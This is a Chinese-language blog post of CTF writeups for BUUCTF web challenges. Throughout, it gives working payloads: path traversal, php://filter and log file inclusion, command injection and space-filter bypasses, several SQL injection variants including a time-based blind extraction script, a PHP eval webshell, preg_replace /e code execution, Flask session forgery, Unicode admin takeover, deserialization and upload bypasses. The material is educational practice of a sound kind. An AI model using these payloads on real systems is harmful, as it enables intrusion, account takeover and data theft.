April 8, 2023

BUUCTF Web Writeup 1-2

[HCTF 2018]WarmUp

image.png
一张p脸,访问源代码显示访问source.php:
有了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

代码应该很好懂吧

审计发现,必须要让checkfile返回true才可以读取文件,要让他返回true也就是让截取的字符在白名单内,白名单有hint.phpsource.php
假如payload中没有问号,那就是默认全部截取,那必不可能返回true,所以要在前面加问号

还有个hint.php:
image.png

payload:hint.php?../../../../../ffffllllaaaagggg:
image.png

[ACTF2020 新生赛]Include

image.png
这边肯定是文件包含了flag.php文件,考点肯定是文件包含,试了一下发现input和data伪协议被ban了,只剩下filter,
直接filter读:
image.pngimage.png
或者包含日志文件,然后蚁剑连接:
image.png

[ACTF2020 新生赛]Exec

真的是送分题
image.png
直接payload:
1;ls /
image.png
1;tac /flag
image.png

[极客大挑战 2019]EasySQL

image.png
一个登入界面,随便输入一串数字:
image.png
在这个页面可以看到存在一些URL参数,这里应该就是sql注入点了
解题
image.png
传入单引号发现有报错,那肯定就是sql注入了,这边经过测试发现查询语句应该是
 select flag from xxx where username=''and password=''
解法一:(万能密码)
用一下万能密码就可以成功登入了,payload:
?username=admin’ or 1=’1&password=admin’ or 1=’1
image.png
解法二:(转义)
转义单引号,在usernmae一栏输入\,然后就会形成:
 username=’and password=
这种情况,之后在password输入or 1=’1
payload:?username=\&password=or 1='1
image.png

[强网杯 2019]随便注

image.png
经过测试发现为堆叠注入,输入1;show tables#:
image.png
本来以为是这个,再换一个payload你会发现,2;show tables;#:
image.png
到这里我才发现自己貌似搞错了,应该是1,2都对应了参数,所以把有回显的2行全占用了,改payload为';show tables#
image.png
这应该才是真正的表,这边可以继续payload';show columns from 1919810931114514#:
image.png
可以看见flag,继续';select flag from 1919810931114514#:
image.png
发现过滤了select,这边就可以分化出2种解法了

解法一:
使用预处理指令:
';PREPARE boogipop from concat('se','lect flag from 1919810931114514');EXECUTE boogipop#
image.png

解法二:
没有ban掉alter和rename,可以试试
'; rename table words to word1; rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key;
image.png
PRIMAPY是主键的意思,表示定义的该列值在表中是唯一的意思,不可以有重复。、
这边primary key必不可少
解法三:
可以用handler指令:
';handler 1919810931114514 open as a;handler a read FIRST;#
image.png

[SUCTF 2019]EasySQL

这题有点花,来分析一下:输入1返回1
image.png
输入2返回1:
image.png
输入0什么都不返回:
image.png
输入1;show tables#:
image.png
由此可以判断查询语句应该是SELECT $_POST[query]||flag from Flag
这边直接输入';show columns from Flag#:
image.png
结果测试发现是过滤了Flag

所以我们直接payload*,1,这样查询语法就变成了SELECT *,1 from Flag:
image.png

解法二:
使用set sql_mode=pipes_as_concat来绕过,这个mysql常量可以让||变为concat函数
payload:1;set sql_mode=PIPES_AS_CONCAT;select 1:
image.png
这边我们的payload长一个字符都不行,否则会出现toolong提示,所以这个方法没几个人想得到吧。。。

[GXYCTF2019]Ping Ping Ping

image.png
肯定是传参ip,和上面有道题很相似:
image.png
发现可以看到flag文件,然后试试读取:
image.png
ban掉了空格,经过测试使用$IFS$9绕过:
image.png
ban掉了什么很好奇我们直接把index.php读出来:
image.png
看得到ban了好多,flag是给ban掉了,得想办法绕过
payload:cat$IFS$9ls ls``将ls的结果用cat读出来:
image.png

解法二:
使用一波变量拼接,payload:
1;a=ag.php;b=fl;cat$IFS$9$b$a
image.png

[极客大挑战 2019]Secret File

image.png
指定有什么私人仇恨,看网页源码:
image.png
看到了个archive_room,访问:
image.png
点击后:
image.png
一眼抓包:
image.png
访问:
image.png
简单的文件包含:

?file=php://filter/convert.base64-encode/resource=flag.php
这里记得要用编码器,否则你会看到如下场面
image.png
image.png
flag在哪?我不知道啊!,这边进行日志包含得到了webshell之后看了一下源码:
image.png
假如你不编码的话include会解析,所以就看不到了。include不是高光函数,没办法看见定义的变量,所以得编码器编码一下

[极客大挑战 2019]LoveSQL

image.png
你都让我用sqlmap了我还有什么说的
image.png

手动注入:
?username=\&password=union select 1,group_concat(id,username,password),3 from l0ve1ysq1-- -
咋来的就不多bb了就是联合注入而已

[极客大挑战 2019]Knife

image.png
image.png
好啊我帮你捡来:
image.png

[极客大挑战 2019]Http

比较好的一题
image.png
刚进去还是很蒙蔽的,找哪儿都找不到有效信息,最后百度搜了一下,发现burp的一个新功能就是网站地图,以下是他的介绍:

站点地图中已请求的项目以黑色显示。尚未请求的项目以灰色显示。默认情况下(启用被动爬网),当您开始浏览典型应用程序时,大量内容将以灰色显示,甚至在您无法请求之前,因为 Burp 已在您请求的内容中发现了指向该内容的链接。通过设置适当的目标范围并使用站点地图显示过滤器,可以删除不感兴趣的内容(例如,在从目标应用程序链接到的其他域上)。

内容表显示了有关每个选定项目的关键详细信息(URL,HTTP 状态代码,页面标题等)。您可以根据任何列对表进行排序(单击列标题可在升序,降序和未排序之间循环)。如果您在表中选择一个项目,则该项目的请求和响应(如果有)显示在请求 / 响应窗格中。它包含一个用于请求和响应的 HTTP 消息编辑器,提供对每个消息的详细分析。

image.png
这个secret.php一开始是灰色的,也就是没发送请求,但是被动收到了,访问:
image.png
抓包添加referer:
image.png
添加user-agent:
image.png
添加XFF头:
image.png

[极客大挑战 2019]Upload

image.png
要上传图片类型,上传个png抓包:
image.png
emm不能有<?,那简单,我们用短标签
image.png
加一个gif文件头:
image.png
总算是上去了,再往里面加个.user.ini:
image.png
然后就该找到底该往哪儿去干呢,然后误打误撞发现有个upload文件夹:
image.pngimage.png
我们的user.ini文件没有被上传,我也不知道为啥,但是我们可以用phtml文件后缀,在上面可以看到上传成功,什么是phtml?

通常,在嵌入了php脚本的html中,使用 phtml作为后缀名;
完全是php写的,则使用php作为后缀名。
这两种文件,web服务器都会用php解释器进行解析。

image.png
RCE成功,QWQ,这边用html文件也可以,因为本质上就是个js语句,这一题就很怪,要猜得出来文件夹是upload。。。

[ACTF2020 新生赛]Upload

image.png
xio灯泡儿,把鼠标放上去就看到了文件上传,这边抓个包儿~:
image.png
emmm这就可以上传拉?后缀名改成phtml:
image.png
????成功?然后直接rce:
image.png
好蠢的题

我猜一下预期解是什么,上传png图片,用.user.ini去绕过:
image.png
可以上传.user.ini,内容不重要改一下就好

[极客大挑战 2019]BabySQL

image.png
你好啊cl4y又见面了,这次又来暴打你了,这一次捏我就不多BB了,经过一些fuzz,发现过滤了select,or,where,from这些都可以用双写去绕过!!!
所以直接上一下payload
?username=1' uniunionon seselectlect 1,group_concat(password),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'-- -&password=1
这一串可以查出表名,列名,接下来我就粗略的讲一下如何判断是不是双写绕过

image.png
首先加单引号是有报错的,那就必然存在sql注入,然后用一下万能密码你会发现:
image.png
这里看不清楚,注意报错信息是 '1=1-- -' and password='1''我们的or去哪儿了???
我们假如这样payload:
image.png
你会发现报错信息变成了’123 1=1-- -' and password='1''看到没,也就是说or被替换成了空字符,接下来所有的都是这么测试出来的很简单的题
很简单很简单

[ACTF2020 新生赛]BackupFile

U1S1我觉得这题最没含金量,这题的考点看题目就知道,备份文件,但是备份文件那么多是sql还是他妈的php文件也没整明白啊,试了半天发现是index.php.bak你他吗告诉我假如人家稍微改一下名字你怎么猜啊???这不是常规思路知道吗,还不让扫目录,这题太烂了
image.png
直接输入123即可

[RoarCTF 2019]Easy Calc

今晚质量最高的题
image.png
一个界面,直接访问源代码
image.png
抓到calc.php:
image.png
看起来是不是很简单,但是经过测试发现你只要输入一个字母就会给你检测到WAF:
image.png
后面去了解了一下,发现可以在num前面加空格来绕过WAF,具体介绍如下:

你传了一个” num”的值,而waf正在抓名字叫做”num”的变量,碰到” num”时,” num”说你找的是”num”,与我” num”有何关系,说罢扬长而去。 而后在php对字符串解析的时候,将” num”多余的空格直接砍去,这样的话,我们就传入了”num”,并且还传入了我们希望的值。 同时,根据前面的num=phpinfo();判断后端会执行num的代码。
https://www.yangshuaibin.com/detail/392376

php解析的时候是会把空格给省去,可以本地测试一下:
image.png
看到没,你加几个空格都无济于事,但是防火墙就不这么认为了

之后就可以发现我们能用一些函数了:
image.png
经过测试,我们无法使用的函数还是有system,system可以用,但是你加了单引号或者是ls就没有回显,估计也是过滤了,echo也同理,include,highlight_file
这一题我们用一下参数逃逸了,首先chr()函数大家应该还认得吧,我们用这个来读取文件,payload
var_dump(scandir(chr(47)));
image.png
扫描到了根目录有f1agg文件
之后就用参数逃逸了:

1
2
GET:?%20num=eval(pos(next(get_defined_vars())))
POST:1=show_source('/f1agg');

image.png

或者你可以用字符串拼接:
?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[HCTF 2018]admin

没想到这题卧虎藏龙
image.png
一个登入界面,右边的菜单有登录,注册按钮,先注册个账号再登入看看:
image.png
右边的菜单多了发帖,改密码,登出按钮,我一开始看到发帖以为是xss,后面给我干闷了,进入改密码界面看源代码会发现:
image.png
有一个提示,是个github仓库链接:
image.png
这个应该是flask源码,这个界面是flask框架,关注app里面的内容:
image.png
重点关注路由和config:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python
# -*- coding:utf-8 -*-

from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code

@app.route('/code')
def get_code():
image, code = get_verify_code()
# 图片以二进制形式写入
buf = BytesIO()
image.save(buf, 'jpeg')
buf_str = buf.getvalue()
# 把buf_str作为response返回前端,并设置首部字段
response = make_response(buf_str)
response.headers['Content-Type'] = 'image/gif'
# 将验证码字符串储存在session中
session['image'] = code
return response

@app.route('/')
@app.route('/index')
def index():
return render_template('index.html', title = 'hctf')

@app.route('/register', methods = ['GET', 'POST'])
def register():

if current_user.is_authenticated:
return redirect(url_for('index'))

form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))

form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)

@app.route('/logout')
def logout():
logout_user()
return redirect('/index')

@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)

@app.route('/edit', methods = ['GET', 'POST'])
def edit():
if request.method == 'POST':

flash('post successful')
return redirect(url_for('index'))
return render_template('edit.html', title = 'edit')

@app.errorhandler(404)
def page_not_found(error):
title = unicode(error)
message = error.description
return render_template('errors.html', title=title, message=message)

def strlower(username):
username = nodeprep.prepare(username)
return username
1
2
3
4
5
6
import os

class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True

到这里我也不会写,然后往里面点还有个template文件夹,里面有index.html
image.png
意思大概就是要session的名字等于admin,flask的cookie被称为客户端session,因为它储存在客户端,具体参考https://www.leavesongs.com/PENETRATION/client-session-security.html
flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
进行加密分为以下几步:

  1. json.dumps 将对象转换成json字符串,作为数据
  2. 如果数据压缩后长度更短,则用zlib库进行压缩
  3. 将数据用base64编码
  4. 通过hmac算法计算数据的签名,将签名附在数据后,用“.”分割

如果知道了secret_key就可以进行伪造了
可以用github大佬写的脚本去破解session读取内容:

1
2
3
python flask_session_cookie_manager3.py decode -c .eJxFkM2KwkAQhF9l6bOHZMa9CB5cRoOBblEmhp6LuGs0mR-FqOw44ruvetlDnar4qKo7bPZ9c25hdOmvzQA23Q5Gd_j4hhGgLT0Wy4zUzr9kdDUkdZALhQJD9WmKKlGxtgtdRbJfrdETSdY4FhypfmYKzMmyNBojhZlDwRlZ77leOxLzyLZ0pA9D0nNJyg1ZrBwnztEab2rylCY56dKhalu0U4kJf6mexoVyN05TgbrKTZi1HHgMjwH8nPv95nJyzfF_QqBgFGacltHoMpBYdST4hpolaidfPofqWcVFSmVHeudxOX7jjtvQPBGuO55gANdz07_PgTyDxx93MWUX.Y0aHvQ.2eZPLe04Yk5xXy8vBOf8Fqu4nls

b'{"_fresh":true,"_id":{" b":"MjJlMGQ0NDdlNDdlZTU4NDg3ODM2MmU5ZGUzNGVjOTUxNjBhZTA3NjZkY2YxNWM2MGM1NjY3ZTMxNmFkM2Y0NjllYWVkN2IxYjJkNTg4NTI3NDk4Y2RkYzY1MjZlZWNlNzA1NTJkMDhhMjE3MzMwNWExODkyYzE2MTU1ZmFhYmY="},"csrf_token":{" b":"MmNmZDM0YzQxZTJmN2RiN2YyMTY3MTk3MmNmYmUxYjkxNzJiNTdlMQ=="},"name":"kino","user_id":"10"}'

可以看到解密出来的内容,我们的name已经可以看到是kino了,思路是只要把kino改成admin,再重新签名即可,但是我们要知道secretkey,这时候重新看回我们上面的config文件,里面有个or cjk123也就是说cjk123也是key,我们接下来重新签名即可,首先先要把我们之前的kino用户的session用key再完全解密一次,结果为:

1
{'_fresh': True, '_id': b'22e0d447e47ee584878362e9de34ec95160ae0766dcf15c60c5667e316ad3f469eaed7b1b2d588527498cddc6526eece70552d08a2173305a1892c16155faabf', 'csrf_token': b'2cfd34c41e2f7db7f21671972cfbe1b9172b57e1', 'name': 'kino', 'user_id': '10'}

再以这个结果进行更改,更改kino为admin,再重新加密:

1
python .\flask_session_cookie_manager3.py encode -s ckj123 -t "{'_fresh': True, '_id': b'22e0d447e47ee584878362e9de34ec95160ae0766dcf15c60c5667e316ad3f469eaed7b1b2d588527498cddc6526eece70552d08a2173305a1892c16155faabf', 'csrf_token': b'2cfd34c41e2f7db7f21671972cfbe1b9172b57e1', 'name': 'admin', 'user_id': '10'}"
1
.eJxFkE9rwkAUxL9KeWcPya69CB4sq8HAe6JsDG8vYptosn8sRKXrit-92ksPc5rhx8zcYXcY2nMHk8twbUew6xuY3OHtEyaAtvRYrDNSjX_J6GpM6ihXCgWG6t0UVaJia1e6imQ_OqNnkqxxLDhS_cwUmJNlaTRGCguHgjOy3nO9dSSWkW3pSB_HpJeSlBuz2DhOnKM13tTkKc1y0qVD1XVo5xIT_lA9jyvlbpzmAnWVm7DoOPAUHiP4Og-H3eXbtaf_CYGCUZhxWkejy0Bi05PgG2qWqJ18-RyqZxUXKZU96cbjevqHO-1D-0Tsm9CfYATXczv8vQN5Bo9f3WBlbw.Y0aNkw.viDMioSeHzs2Pdb-XZB1QOrpkY4

再登入就直接有答案了:
image.png

解法二(Unicode欺骗):
在change界面可以发现这一段代码:

1
2
if request.method == 'POST':
name = strlower(session['name'])

通常来说我们python用的转小写函数是lower(),这里用了strlower(),不止这里用了,而且login、register,change界面也用的是strlower,然后就去溯源了一下:

1
2
3
def strlower(username):
username = nodeprep.prepare(username)
return username

这是自定义的函数,而关于nodeprep.prepare,这里面有漏洞,对于如下字母
image.png
nodeprep.prepare函数会进行如下操作:
image.png
第一次把他变为大写字母,第二次变为小写,利用这一点我们可以注册一个用户名叫做ᴬᴰmin
然后经过第一次注册,最终用户名叫做ADmin,然后再修改密码的时候,改的是admin的密码,最后就可以达到修改管理员密码的目的了,这也是预期解:

image.png
image.png
image.png
image.png

[BJDCTF2020]Easy MD5

很简单的md5
image.png
hint提示一个查询语句,这一看就知道是输入ffifdyop
image.png
访问源码进入这个界面,一个弱碰撞,payload:
a=QNKCDZO``b**=**240610708:
image.png
强碰撞数组绕过:
image.png

[ZJCTF 2019]NiZhuanSiWei

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

?text=data://text/plain,welcome to the zjctf&file=php://filter/conver.base64-encode/resource=useless.php:
image.png
再本地构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  

class Flag{
public $file="php://filter/resource=flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag;
echo serialize($a);
?>

最后?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:
image.png

[BJDCTF2020]ZJCTF,不过如此

怎么说呢?确实不过如此?咳咳题目还是有难度的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

这边儿一眼就知道用data先传参然后读取next.php看看
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php,读出来为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

正则表达式
这边得先介绍一下这个\\1是什么意思,两个转义省掉一个就是\1在preg_replace中等价于${1}或者说是$1${1}表示什么呢,表示第一个被替换掉的内容:
image.png
然后注意正则表达式哪里的e模式,这个代表可以命令执行,也就是说'strtolower("\\1")'等价于eval('strtolower("\\1")')
这边就有机可乘了,接下来我再演示几组数据:

1
2
3
4
5
6
7
var_dump(phpinfo()); // 结果:布尔 true
var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'

var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串

第三个为什么为11,因为在.*模式下,preg_replace会进行两次替换,猜测可能是因为*可以表示匹配0次的意思吧,我个人理解你是这样的,这地方很玄幻的,我这里本地试了很多次,\0和\1都可以表示{${phpinfo()}}(在.*模式下),在正常模式下\0表示被判断的字符串,\1表示被匹配的第一个字符串

还有个坑就是'{${phpinfo()}}'"{${phpinfo()}}"是不同的,双引号包裹会解析变量,而单引号不会

所以最后这里的’strtolower(“{${phpinfo()}}”)’执行后相当于 strtolower(“{${1}}”) 又相当于 strtolower(“{null}”) 又相当于 ‘’ 空字符串
${1}是null的原因是没有名字为1的变量

总而言之最后就命令执行了,所以最终payload:
?text=data://text/plain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('tac /flag');

fla

[极客大挑战 2019]HardSQL

image.png
?????????????为什么全是它
这边直接上结论了,ban了and,空格(任何替代都不可以),sleep,等于号,这题用报错注入
payload
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password),0x7e)from(information_schema.columns)wheretable_namelike'H4rDsq1')),1))%23&password=1
输入完后会发现只有一半的flag,是回显有长度限制:

image.png
我们要用right函数去截取另一半:
?username=1%27or(updatexml(1,concat(0x7e,(right((select(group_concat(password))fromH4rDsq1),20)),0x7e),1))%23&password=1
g{0e44ea8c-9e9a-4274-b
image.png

[SUCTF 2019]CheckIn

image.png
就只说说思路,思路是不能上传php后缀名,可以上传png,文件头验证,上传.user.ini最后解析
内容不能有<?这一点用短标签绕过即可

[MRCTF2020]Ez_bypass

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input firs

就一个强碰撞数组绕过和一个1234567a
啊这容易:
image.png

[GXYCTF2019]BabySQli

image.png
一个输入框,输入一串数字后就跳转:
image.png
这边提示wrong pass就说明有admin,经过一系列的fuzz,发现ban掉了括号,or
留下来union和and,这里我们用union进行注入,这一题是没有回显的,但是我们要知道union一个特性:
假如现在我本地有一张表结构如下:
image.png
假如我查询一个不存在的字段再加上union:
SELECT * FROM db1.tb1 WHERE id=3 UNION SELECT 1,2,3,4 image.png
这样第一行的数据全部被后面覆盖了,所以我们可以利用这一点去写这一题
image.png
源码有这一段提示,BASE64解密一次出不来,应该还加入了base32,base32+base64各解密一次得出:
image.png
我们payload:image.png
可以知道第二个字段就是username,因为我们第二个数据放的是admin,它显示wrong pass就说明存在这个用户,第三个字段就是password,但是这边确不正确是为什么呢?
可能是我们传参pw的时候,他后台进行了一些加密
比如md5(pw)==password也就是经过了md5加密,所以我们更改一下payload:
image.png
这样就出来了,把3进行md5加密一下就好

[GXYCTF2019]BabyUpload

image.png
文件上传题,也就说一下思路,经过测试
只可以上传jpg文件,内容有过滤,短标签绕过
之后上传htaccess解析jpg文件
最后蚁剑上号

[GYCTF2020]Blacklist

就是强网杯随便注的变种,用hanlder

[CISCN2019 华北赛区 Day2 Web1]Hack World

ban了or,and,union,直接用if盲注跑,这里不可以用布尔盲注啊记得,因为有线程限制,太快会429,脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import time

import requests
# import time

url = "http://682b934a-0e36-4e28-8194-1339ca96f941.node4.buuoj.cn:81/index.php"

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
data = {
"id":f"if(ascii(substr((select\tflag\tfrom\tflag),{i},1))>{mid},sleep(0.5),0)"}
t1=time.time()
r = requests.post(url,data=data)
t2=time.time()
# print(t2-t1)
if (t2-t1)>0.8:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

多跑几遍,可能会有点误差

[网鼎杯 2020 青龙组]AreUSerialz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

源码有点长,但是其实审计之后并不难,接下来我慢慢介绍一下各个模块

属性
op,filename,content,这里的op相当于个标志,filename是文件名称,content是文件内容
write:
向filename写入content内容,有长度限制
read:
读取filename中的内容
process:
检测op的值,为1进入write环节,为2进入read环节
output:
输出结果
__destruct:
析构函数,如果op为2,将op变为1,这里是强类型比较注意

审核完后,做这题我第一思路是看看能不能用write去写入一句话木马:

1
2
3
4
5
6
7
8
<?php
class FileHandler {
public $op=1;
public $filename='1.php';
public $content='<?php eval($_POST[1]);?>';
}
$a=new FileHandler;
echo serialize($a);

当我构造完payload后输入:
image.png
没有权限,那没办法,那就走第二条路
这边注意析构函数中判断op是否为2,用的是强类型比较,这边我们可以构造一个op=2.0去绕过

1
2
3
4
5
6
7
8
9
10
<?php
class FileHandler {
public $op=2.0;
public $filename='flag.php';
public $content;
}
$a=new FileHandler;
echo serialize($a);
?>

这里用public是因为在php7.1+之后,解析器对这些属性会不敏感
image.png
得出答案

[网鼎杯 2018]Fakebook

image.png
join就是注册的意思,login就登入,给了一个这样的界面,首先扫一下网站,一扫就出来了2个文件,flag.php,robots.txt,flag文件看不到是空白的
robots:
image.png
一个备份文件,下载下来是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

看到了curl可能就会存在ssrf,但是目前我们什么也不知道,我们都不知道这源码和界面有什么关系,慢慢探讨
注册一个账号,然后登入:
image.png
有一个no=1,这里说不定存在sql注入
image.png
单引号报错了,说明猜测是正确的,经过一系列的测试发现ban的东西是union select,注意是这整个语句,不是单独ban select或是union
然后经过一系列测试,可以用报错注入,时间盲注,但是我们还发现可以联合注入:
0 union/**/select 1,2,3,4:
image.png
2是回显点,为什么不要加注释或者是单引号呢?这个根据我的猜测后台代码应该是做了处理,把我们的payload分为了两部分,从第一个字符就拆开,我们也可以验证:
image.png
输入单引号报错,输入2个单引号:
image.png
居然是正常的,由此猜测至少要有2个字符,因为要截断
我们之前不是读到了一个flag.php吗,我们可以payload:
0 union/**/select 1,load_file('/var/www/html/flag.php'),3,4
image.png
答案就出来了,我还扫到了一个文件db.php:
我们用同样方法读出来
image.png
可以发现啊,我们上面的猜测是错误的,原因只是因为中括号框起来了

**方法二:
**大家可能就好奇了,那我们的ssrf可不可以用呢?当然是可以的
